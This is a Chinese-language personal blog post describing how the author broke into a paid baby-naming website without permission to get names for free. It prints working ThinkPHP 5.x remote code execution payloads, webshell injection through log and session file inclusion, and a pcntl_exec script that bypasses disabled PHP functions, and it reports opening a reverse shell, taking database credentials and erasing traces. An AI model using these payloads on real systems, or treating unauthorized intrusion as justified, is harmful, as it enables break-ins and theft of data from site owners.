刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

记一次渗透宝宝起名网站的过程

0x00 前言

最近宝宝出生,我也升级当爸爸了,但是给宝宝起名可是个头疼的事,翻看了诗经、楚辞也没找到什么好听的名字。由于疫情期间,宝宝的出生证明一直不能办理,所以就搁置了一段时间。前几天我爸发给我一个网站链接说在网上花了30块钱算了名字,让我从里面挑挑看,网站提供了100个名字,我感觉也没有太好的名字

image.png

旁边有个选项天降吉名,点进去,还要花68元才能解锁。。。。。。感觉像个骗子网站

image.png

我爸说你不是干黑客的吗,把这个网站黑了不就可以不花钱看了吗,我一想也对,我爸不提醒我我都忘了我是干这个的,话不多说,开干!


0x01 信息收集

image.png

使用的tengine,经过我后面的测试,发现了服务器做了负载均衡有多个不同ip的服务器。

image.png

使用的是php语言,thinkphp3.2.3框架,thinkphp3.2.3的漏洞了解不多,我没测试出来什么问题


image.png

数据调用接口返回的数据,测试一下有没有逻辑漏洞,尝试修改查询条数为200,但是没有效果,还是返回60条。


image.png

修改type参数看看能不能返回更高级的名字,提示:你得花钱买!!!看来逻辑漏洞是行不通了。


接着我发现返回数据的接口域名和之前的域名不一样,看来是调用的另一个网站的接口,对接口域名进行测试发现是thinkphp5.0.15,并且开启了debug模式

image.png

一下子就觉得有希望了


0x02 渗透细节


thinkphp5.x 命令执行漏洞可以说是去年最火的一个漏洞了,找到我之前记录的payload

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image.png

发现不好使,从百度搜索一下发现thinkphp5.0.x系列的payload我没有见过,之前没有试过,以为5.0.x和5.1.x是通用的,现在看来并不通用,thinkphp5.0.x的payload如下:

POST /?s=captcha

_method=__construct&method=get&filter[]=assert&server[]=1&get[]=1


目前thinkphp5.x 通过method参数代码执行开发出来的利用方法基本上是这两种:

1.通过thinkphp框架自带的日志功能,通过写入日志文件,利用文件包含getshell

先把含有一句话木马的字符串写进日志
POST /?s=captcha

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['002'])?>

再通过文件包含功能包含日志文件getshell
POST /?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202003/22.log&x=phpinfo();

2.通过session把一句话木马写入本地存储文件里,再利用文件包含功能包含来执行代码

把一句话木马写入session
POST /?s=captcha
Cookie: PHPSESSID=lgr002

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['002'])?>&server[]=1


session会保存再/tmp/sess_XXX ,XXX为你的cookie,包含这个文件就可以getshell了
POST /?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_lgr002&server[]=1


我先使用的第一种方法测试,发现不能成功(拿下webshell后发现原来是没有log目录),然后使用第二种方法测试,执行命令成功

image.png

但是发现禁用了system等系统命令函数

image.png

尝试使用 bypass_disablefunc_via_LD_PRELOAD 和 php7的pwn脚本 执行系统命令都失败后,百度了一下又发现了一个新办法,可以用 pcntl_exec 来绕过。


使用pcntl_exec需要先写入一个文件 ,位置自己定,最好是/tmp目录下,一般不会权限问题,我写到/tmp/exec.sh

#!/bin/bash 
id > /tmp/result   #id 是要执行的命令,后面是命令返回结果输出到文件

再写入一个php文件,放到网站目录下,然后访问就可以执行命令了,结果可以查看/tmp/result

<?php 
switch (pcntl_fork()) {
	case 0:
		pcntl_exec('/bin/bash', ['/tmp/exec.sh']);
		exit(0);
	default:
break;
}

我是直接反弹的shell

image.png

image.png


然后再找到数据库账号密码就可以省60块钱了,天降吉名随便看

image.png

到此已经顺利的拿下了这个宝宝起名网站的控制权

0x03 总结

最后拿到权限也没有用来起名,这次渗透的目的只是为了学习,不是为了搞破坏。清理完入侵痕迹,悄悄地我走了,正如我悄悄地来,我挥一挥衣袖,不带走一片云彩。不过我发现这个起名网站真是个好项目,真赚钱,我也想做一个。。。。。。


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.